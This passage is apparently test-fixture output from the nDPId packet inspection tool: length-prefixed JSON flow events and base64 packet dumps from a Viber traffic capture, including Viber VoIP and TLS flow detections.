+00424{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":551341,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0cjZAAEAGbu3AqAARl2UBgtnCAbvgBRjmc5wDaoAQAwfUIgAAAQEICgAhaibIDMgu"} +00557{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":581747,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"AA6OMNv9MAdNo1+nCABFAACRcjdAAEAGbo\/AqAARl2UBgtnCAbvgBRjmc5wDaoAYAwdG4AAAAQEICgAhai3IDMguFgMDACUQAAAhICSoXMs1fpP5vE\/PMwtc4FI4dMsChWitjQ\/I3S6eAMpqFAMDAAEBFgMDACgAAAAAAAAAAJs4AmAL4Xjlt+jKMlb49bgPgbwYeYmmkJ\/pW\/aV+T\/N"} +00775{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":591963,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"MAdNo1+nAA6OMNv9CABFAAE2OT5AADoGrOOXZQGCwKgAEQG72cJznANq4AUZQ4AYADtLwwAAAQEICsgMyDoAIWotFgMDAMoEAADGAAAcIADA7biJ7e9MuWTIoOdQ3MWBtjFxrfslE+x9SfYLCkV1\/BgZcvm6CoAvj58YZKnZ\/hUkPlokK62OBneHbW8fdiQhr7YeKJeFFJREsGxMZRjUUH02PasMJenuyiHOVUCR\/aevWvW3dno8PnB40JTYE6YMworyOJk\/36uaVgCQU7enzIeRl26i9noqtlQs0dZeoimmYWk3wR6tSFMv2nsvRz03PU347vhgk8zkGHt9YrxmZ71I84ObtEZftuhBxPEnBkYmFAMDAAEBFgMDACjCpKGyldSr5knAm6gGU6ZK69Imm7lpPQp+AONukA0091RijFnMqSiS"} +00560{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155649,"pkt_ts_usec":240578,"pkt_caplen":163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":163,"pkt_l4_len":129,"pkt":"AA6OMNv9MAdNo1+nCABFAACVvbZAAEAGio3AqAARNAD9ZYG4EJTYH5ZXTQ0VOIAYAtrSdgAAAQEICgAhatH3lGEBYQANAAAAu6NTMlK3+oqYwB1cZ4uMnCEN5aQj\/U6rQl02LSYFaGjPZRutHfqpwEDx7eBwtSfERPjbdjFUIXZNaYZypRJcWPj9dk2RTKFvQh8VANsFfh0dFs\/Sk0RVb3ghMQ=="} +00423{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155649,"pkt_ts_usec":375952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0M+xAACYGLrk0AP1lwKgAERCUgbhNDRU42B+WuIAQAJUzSAAAAQEICveUis8AIWrR"} +00558{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155653,"pkt_ts_usec":432727,"pkt_caplen":160,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":160,"pkt_l4_len":126,"pkt":"AA6OMNv9MAdNo1+nCABFAACSvbdAAEAGio\/AqAARNAD9ZYG4EJTYH5a4TQ0VOIAYAtpTAwAAAQEICgAhbun3lIrPXgAOAAAAoG3g6ev5c\/NDWijH0p1sZqiVc2X8Tb2Xmy2xoRMT\/Do3Dj3Gty9fjG99OxhKRqKX5Z3no6Rh5HvCVrDWPhO+ifNv8x0XeQgjvBXjbkQ6Om\/XSVMiPnc47w=="} +00423{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155653,"pkt_ts_usec":528676,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0M+1AACYGLrg0AP1lwKgAERCUgbhNDRU42B+XFoAQAJUemgAAAQEICveUmwcAIW7p"} +00557{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155657,"pkt_ts_usec":854803,"pkt_caplen":160,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":160,"pkt_l4_len":126,"pkt":"AA6OMNv9MAdNo1+nCABFAACSvbhAAEAGio7AqAARNAD9ZYG4EJTYH5cWTQ0VOIAYAtqtvwAAAQEICgAhczv3lJsHXgAPAAAALeU9A2Q1LwgOdyngjohXz80gI\/bHFZK0\/umu4RSLYZIcIs2S5qP0N\/PuFBzLdpP65obrj0YxSQvn609TiS7Mq7ffuzQQGy1y7XP4cD1w3yHvoWFYO3kXNw=="} +00477{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155666,"pkt_ts_usec":982912,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AQBeAAD7MAdNo1+nCABFAABZIsxAAP8RtxLAqAAR4AAA+xTpFOkARSvGAAUAAAACAAAAAAAACV84MDU3NDFDOQRfc3ViC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAcAbAAwAAQ=="} +00477{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155666,"pkt_ts_usec":982983,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AQBeAAD7MAdNo1+nCABFAABZIsxAAP8RtxLAqAAR4AAA+xTpFOkARSvGAAUAAAACAAAAAAAACV84MDU3NDFDOQRfc3ViC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAcAbAAwAAQ=="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":260,"source":"viber.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1527155670632,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"18.201.4.32","src_port":45424,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155670,"pkt_ts_usec":632131,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA8WoBAAEAGCJrAqAAREskEILFwAbuQXSU3AAAAAKAC\/\/+HxQAAAgQFtAQCCAoAIX+3AAAAAAEDAwc="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":261,"source":"viber.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1527155670640,"flow_last_seen":0,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":265,"flow_max_l4_data_len":265,"flow_avg_l4_data_len":265,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"18.201.4.32","src_port":47171,"dst_port":7985,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00741{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155670,"pkt_ts_usec":640484,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"AA6OMNv9MAdNo1+nCABFiAEdfMxAAEAR5NnAqAAREskEILhDHzEBCRHz7fYBAAUArBk1jI9k5EcHridUEQCowEO4MgAAAEMBABABAK45kpFjAQAAAAAAACXfTU7hzTcbXJq8JtnTC0sBuzmzAAAAAAAAAAADAAEAZgIAZwABeAAAAAAAAIAAvcYFlBohustZk1e\/8OyZiSqP86k39WGwDkG7f\/rMnT2tcfHi3zlsEfu0kKTP5bAY2qxB7\/oc6uBQ0Wmie0yDB6f1EwNZ4BrIBNZIXKB4sgy96MQL790EZYw7fY9vCydMCFozrGypXQPtcVrV5xCrsYqA8zuDlnCD1lV04sfnGYMAAAAAAAAAAEcFAAA4AAAAEABBbmRyb2lkLDguOS4wLjIAAAA="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":261,"source":"viber.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1527155670640,"flow_last_seen":0,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":265,"flow_max_l4_data_len":265,"flow_avg_l4_data_len":265,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"18.201.4.32","src_port":47171,"dst_port":7985,"l4_proto":"udp","ndpi": {"proto":"Viber","breed":"Acceptable","category":"VoIP"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":262,"source":"viber.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1527155670640,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"18.201.4.32","src_port":47171,"dst_port":7987,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155670,"pkt_ts_usec":640566,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"AA6OMNv9MAdNo1+nCABFiAA+fM1AAEAR5bfAqAAREskEILhDHzMAKi7T7fYZAKwZNYyPZORHJd9NTuHNNxtcmrwm2dMLSwG7ObMAAA=="} +00502{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":262,"source":"viber.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1527155670640,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"18.201.4.32","src_port":47171,"dst_port":7987,"l4_proto":"udp","ndpi": {"proto":"Viber","breed":"Acceptable","category":"VoIP"}} +00419{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155670,"pkt_ts_usec":640613,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AA6OMNv9MAdNo1+nCABFiAAwfM5AAEAR5cTAqAAREskEILhDHzEAHFuJ7fYJALM5kpFjAQAArBk1jI9k5Ec="} +00436{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155670,"pkt_ts_usec":663972,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MAdNo1+nAA6OMNv9CABFAAA8AABAACsGeBoSyQQgwKgAEQG7sXDMrFlhkF0lOKASaN8nuwAAAgQFtAQCCAoAWtCxACF\/twEDAwc="} +00419{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155670,"pkt_ts_usec":672314,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"MAdNo1+nAA6OMNv9CABFAAAwfVFAACsR+skSyQQgwKgAER8zuEMAHAAy7fYaAKwZNYyPZORHMkN8XkO4AMg="} +00497{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155670,"pkt_ts_usec":673581,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"MAdNo1+nAA6OMNv9CABFAABofVBAACsR+pISyQQgwKgAER8xuEMAVGj37fYMAAEArBk1jI9k5EcyQ3xeQ7iuOZKRYwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAAAAAAAAAAAAA=="} +00423{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155670,"pkt_ts_usec":673838,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0WoFAAEAGCKHAqAAREskEILFwAbuQXSU4zKxZYoAQAq28sQAAAQEICgAhf78AWtCx"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":269,"source":"viber.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1527155671066,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.187.91.182","src_port":49048,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":66998,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA8FY9AAEAG0gLAqAARNrtbtr+YAbtog5WsAAAAAKAC\/\/+1DQAAAgQFtAQCCAoAIYAjAAAAAAEDAwc="} +00741{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":140889,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"AA6OMNv9MAdNo1+nCABFiAEdfNBAAEAR5NXAqAAREskEILhDHzEBCYn27fYBAAUArBk1jI9k5EcHridUEQCowEO4MgAAAEMBABACAKg7kpFjAQAAAAAAACXfTU7hzTcbXJq8JtnTC0sBuzmzAAAAAAAAAAADAAEAZgIAZwABeAAAAAAAAIAAvcYFlBohustZk1e\/8OyZiSqP86k39WGwDkG7f\/rMnT2tcfHi3zlsEfu0kKTP5bAY2qxB7\/oc6uBQ0Wmie0yDB0003hcgpcmSdQZoJFj9c3crNvbbzPmA66eL1DRMEucxiwDMA5JhH5EzU3oJcu6XrgTfyNvrAIA0DorhgznjXYQAAAAAAAAAAEcFAAA4AAAAEABBbmRyb2lkLDguOS4wLjIAAAA="} +00497{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":173842,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"MAdNo1+nAA6OMNv9CABFAABofl9AACsR+YMSyQQgwKgAER8xuEMAVG317fYMAAIArBk1jI9k5EcyQ3xeQ7ioO5KRYwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAAAAAAAAAAAAA=="} +00436{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":237849,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MAdNo1+nAA6OMNv9CABFAAA8AABAAOYGQZE2u1u2wKgAEQG7v5iCE\/ghaIOVraASaN+HqAAAAgQFtAQCCAosBh44ACGAIwEDAwg="} +00423{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":240677,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0FZBAAEAG0gnAqAARNrtbtr+YAbtog5WtghP4IoAQAq0cfAAAAQEICgAhgE8sBh44"} +00671{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":276,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":250450,"pkt_caplen":247,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":247,"pkt_l4_len":213,"pkt":"AA6OMNv9MAdNo1+nCABFAADpFZFAAEAG0VPAqAARNrtbtr+YAbtog5WtghP4IoAYAq2yzwAAAQEICgAhgFEsBh44FgMBALABAACsAwNpu8fyH0bmBuIhI45OMI2QAejACKsvR53r1YItFVUgZgAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAABn\/wEAAQAAAAAYABYAABNicmFoZS5hcHB0aW1pemUuY29tABcAAAAjAAAADQAQAA4EAwQBBQMFAQYDBgECAQAFAAUBAAAAAAAQAAsACQhodHRwLzEuMQALAAIBAAAKAAgABgAdABcAGA=="} +00726{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":276,"source":"viber.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":4,"flow_first_seen":1527155671066,"flow_last_seen":1527155671250,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":32,"flow_max_l4_data_len":213,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.187.91.182","src_port":49048,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"brahe.apptimize.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00424{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":421054,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA05kFAAOYGW1c2u1u2wKgAEQG7v5iCE\/giaIOWYoAQAG4d1gAAAQEICiwGHmYAIYBR"} +02373{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":423359,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXc5kJAAOYGVa42u1u2wKgAEQG7v5iCE\/giaIOWYoAQAG7hfQAAAQEICiwGHmYAIYBRFgMDAEwCAABIAwP86fAGEnB5p5caZ\/mpzpaPW0mo2UVNHIXnx4NY82lYtwDALwAAIP8BAAEAAAsABAMAAQIAIwAAABAACwAJCGh0dHAvMS4xFgMDEVgLABFUABFRAAW+MIIFujCCBKKgAwIBAgIQSJIT4MMvKqIG9KAsMNS0lTANBgkqhkiG9w0BAQsFADCBljELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxPDA6BgNVBAMTM0NPTU9ETyBSU0EgT3JnYW5pemF0aW9uIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQTAeFw0xNjAyMTEwMDAwMDBaFw0xOTA0MTAyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEOMAwGA1UEERMFOTQwNDMxCzAJBgNVBAgTAkNBMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRkwFwYDVQQJExAxOTU5IExhbmRpbmdzIERyMRcwFQYDVQQKEw5BcHB0aW1pemUsIEluYzEcMBoGA1UECxMTUHJlbWl1bVNTTCBXaWxkY2FyZDEYMBYGA1UEAwwPKi5hcHB0aW1pemUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1yweODrn0HMixsXfKOospPUGhUn\/osi07WYbM2MA5hMxNJIlpLzRykh557oNhQYEnhUd1dP01i00IDibJyJOOn9wLohH2qjeTtgA5KS6ToWu75VgJV6kyq6X3rlgIIgDLmwZubwQQHVok1qPh0PmBn4+G2Zpyt1dLhrz99NApchcdWgEl9Yafe2\/jZIbMXd8\/6bk+oQ5ItsgdSSwKD3f0DylPoEr9HglXrseuMgvYLDhmeKArfgb\/Ql7VVIo1qs4oGWYqtWt3ZwW7mTEy3yekKAtTVyReu+biZSQBW05Hgn4raIgigTR\/EJ+sUdDvDc9deVlXnSuOEIn\/ynWk2oJnQIDAQABo4IB6DCCAeQwHwYDVR0jBBgwFoAUmvMr2s+tT7YvuypISCoStxtCwSQwHQYDVR0OBBYEFHCj31xxJa8\/ZGYVVTFqBgDRAaWdMA4GA1UdDwEB\/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBQBgNVHSAESTBHMDsGDCsGAQQBsjEBAgEDBDArMCkGCCsGAQUFBwIBFh1odHRwczovL3NlY3VyZS5jb21vZG8uY29tL0NQUzAIBgZngQwBAgIwWgYDVR0fBFMwUTBPoE2gS4ZJaHR0cDovL2NybC5jb21vZG9jYS5jb20vQ09NT0RPUlNBT3JnYW5pemF0aW9uVmFsaWRhdGlvblNlY3VyZVNlcnZlckNBLmNybDCBiwYIKwYBBQUHAQEEfzB9MFUGCCsGAQUFBzAChklodHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9SU0FPcmdhbml6YXRpb25WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EuY3J0MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5jb21vZG9jYS5jb20wKQYDVR0RBCIwIIIPKi5hcHB0aW1pemUuY29tgg1hcHB0aW1pemUuY29tMA0GCSqGSIb3DQEBCwUAA4IBAQBsVTXMfmfu7FXFawh8Q+pRoJzZtRl1uV217huAjn4GLi61TfLIkqmrl2rFaFJlDwDA3JACJXHYlATCvcPnukIAvcpTxX+UAJNejiY5g\/DFg09EeKw73yH4cPtSkqJQp1tWUGB7WF1aVpSCb\/23LG2ceNppRmm0jzFXqYirkKy5PS4pnf9v3bTXaUg="} +00783{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":278,"source":"viber.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":6,"flow_first_seen":1527155671066,"flow_last_seen":1527155671423,"flow_tot_l4_data_len":1837,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":306,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.187.91.182","src_port":49048,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"brahe.apptimize.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"8d2a028aa94425f76ced7826b1f39039","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +02373{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":423411,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXc5kNAAOYGVa02u1u2wKgAEQG7v5iCE\/3KaIOWYoAQAG7UpwAAAQEICiwGHmYAIYBRjgUumjwsSflXjaztwmxFplmOyeqFjTlAH6ZCRY2Og+XkJADhWliv5FVU\/DWWnJQddCCPoXDozxh3Sbf3Tx2Lf2O470fEQ5ucm3IqbHYX6p0B+PSjs7UlF99i9CQEKQbGZL7NiJ8WFaSfZGeLMdYM+bd9aFFULgAGEjCCBg4wggP2oAMCAQICEDaCXn+1pIGTfvbRc2u5PKYwDQYJKoZIhvcNAQEMBQAwgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTE0MDIxMjAwMDAwMFoXDTI5MDIxMTIzNTk1OVowgZYxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTwwOgYDVQQDEzNDT01PRE8gUlNBIE9yZ2FuaXphdGlvbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5FNmF8kFEV\/8wRB7cPESjF7huAfijX8KpIR3OWfTs84ipCTI8sYtjpD4nNvOP+ThmLgeXQY9Lpt3DX55zPOfKIA1PfDIFz8EuSGVKhdAfVjFtjuXGMtQbvJ99lvyY10\/49FhW+ONFvpEYguSKvq\/NUjdRh08el8HoOq75\/0bkZT8\/w0eDL8y4Ql4tfvdaaK5dS8CmNSH1hqPISYuYY2ANySFIwpIwZUayhjUEQiV+radOSxJAAHqIaFxvn6OkeBEhrj0LDr5FFCPP63XX9qDxvEVsXryhMuzzWHhCKAs6AXbwxaCewWlw3o9Lpnnf8na24w8TfBg7sVFsaiA5zp5pAgMBAAGjggFlMIIBYTAfBgNVHSMEGDAWgBS7r34CPfqm8TyEjq3uOJjs2TIy1DAdBgNVHQ4EFgQUmvMr2s+tT7YvuypISCo